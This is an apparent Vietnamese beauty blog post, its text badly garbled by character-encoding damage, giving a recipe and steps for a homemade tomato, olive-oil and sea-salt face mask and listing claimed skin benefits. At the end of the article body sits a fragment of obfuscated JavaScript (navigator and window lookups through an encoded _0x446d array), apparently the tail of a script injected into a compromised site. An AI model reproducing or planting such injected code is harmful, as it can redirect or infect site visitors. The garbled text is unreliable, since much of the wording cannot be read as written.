Chọn bài viết bạn quan tâm
+ (P1)
+ (P2)

Ta�� cha?? ma?�t na?? cA� chua lA�m da sA?ng vA� ma��n khA?ng tA� va??t

Ma?�t na?? cA� chua A�a�? chA?m sA?c lA�n da lA� ma��t bia��n phA?p ta�� nhiA?n giA?p ba??n cA? A�?�a�?c lA�n da luA?n ma��n mA�ng, t?�??i ma��i.

CA� chua cA?A�nhia�?u cha??t dinh d?�a�?ng giA?p c?? tha�? kha�?e ma??nh vA� A�a?�c bia��t lA� giA?p lA�n da tra�Y nA?n sA?ng, kha�?e, ma��n mA�ng khA?ng tA� va??t. CA?c thA�nh pha?�n ga��m lycopene, vitamin C, A hoa??t A�a��ng tA�ch ca��c nh?� ma��t cha??t cha��ng oxy hA?a ta�� nhiA?n. ChA?ng cA?n cA? tA�nh nA?ng loa??i ba�? sa??ch A�a��m A�en, kia�?m soA?t bA? nha�?n vA� kA�ch thA�ch sa�� phA?t tria�?n ta�� nhiA?n ca��a ta?? bA�o da ma��i.

Ba�Yi va?�y, ma��i tua?�n ba??n hA?y tha��c hia��n theo cha�� da?�n d?�a��i A�A?y giA?p ma��t A�a??n hai la?�n A�a�? cA? A�?�a�?c lA�n da ma��n mA�ng.

mat-na-ca-chua

B?�a��c 1: Chua?�n ba��

– 1 thA�a da?�u A? liu

– 2 thA�a mua��i bia�?n

– 1/2 qua?? cA� chua

– CA?c da�?ng ca�? pha�?c va�? ga��m: thA�a, bA?t, khA?na��.

B?�a��c 2: Ta�� cha?? ma?�t na?? cA� chua

  • Tr?�a��c ha??t ba??n cho mua��i bia�?n vA�o trong bA?t sa??ch
  • Tia??p theo, cho 1 thA�a da?�u A? liu vA�o va��i mua��i ra��i tra��n A�a�?u.
  • Ca??t A�A?i qua?? cA� chua, sau A�A? dA?ng thA�a A�a�? xA?c pha?�n tha��t bA?n trong xua��ng bA?t cA?ng va��i
    da?�u A? liu vA� mua��i bia�?n.
  • Cua��i cA?ng, dA?ng thA�a ga�� tra��n A�a�?u cho mua��i bia�?n tan trong n?�a��c cA� chua vA� da?�u A? liu. Ka??t thA?c giai A�oa??n nA�y, ba??n A�A? cA? ha��n ha�?p ma?�t na?? chA?m sA?c cho lA�n da ma?�t.

B?�a��c 3: Tha��c hA�nh A?p da�?ng ma?�t na?? lA?n lA�n da ma?�t

– Ra��a sa??ch khuA?n ma?�t va��i n?�a��c mA?t

– Thoa ha��n ha�?p lA?n da ma?�t, ka??t ha�?p dA?ng ngA?n tay chA� xA?t nha?? nhA�ng theo nha�?ng hA�nh trA?n nha�?.

– Ra��a sa??ch ha��n ha�?p ma?�t na?? ba?�ng n?�a��c a??m.

– Cua��i cA?ng, tha??m khA? va��i khA?n ma�?m vA� xoa nha?? ma��t la��p kem d?�a�?ng a?�m.

Ma��t sa�� ha�?u A�ch ta�� ma?�t na?? cA� chua A�em la??i:

– LA�m sa??ch ba�?i ba?�n vA� ta?? bA�o cha??t hia��u qua??.

– Se khA�t la�� chA?n lA?ng, kia�?m soA?t hia��u qua?? sa�� hoa??t A�a��ng ca��a bA? nha�?n giA?p lA�n da luA?n khA? thoA?ng.

– LA�m da��u da, gia??m hia��n t?�a�?ng nga��a do viA?m da vA� rA?t ba�?ng do chA?y na??ng.

– NgA?n cha?�n sa�� hoa??t A�a��ng ca��a cA?c vi khua?�n gA?y ha??i vA� lA�m lA�nh ma�?n tra��ng cA?.

– BA?n ca??nh A�A?, cA� chua cA?n tham gia vA�o ha�� tra�? quA? trA�nh sa??n xua??t collagen A�em la??i va?� A�a??p t?�??i ma��i, ra??ng ra�? cho lA�n da. }}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *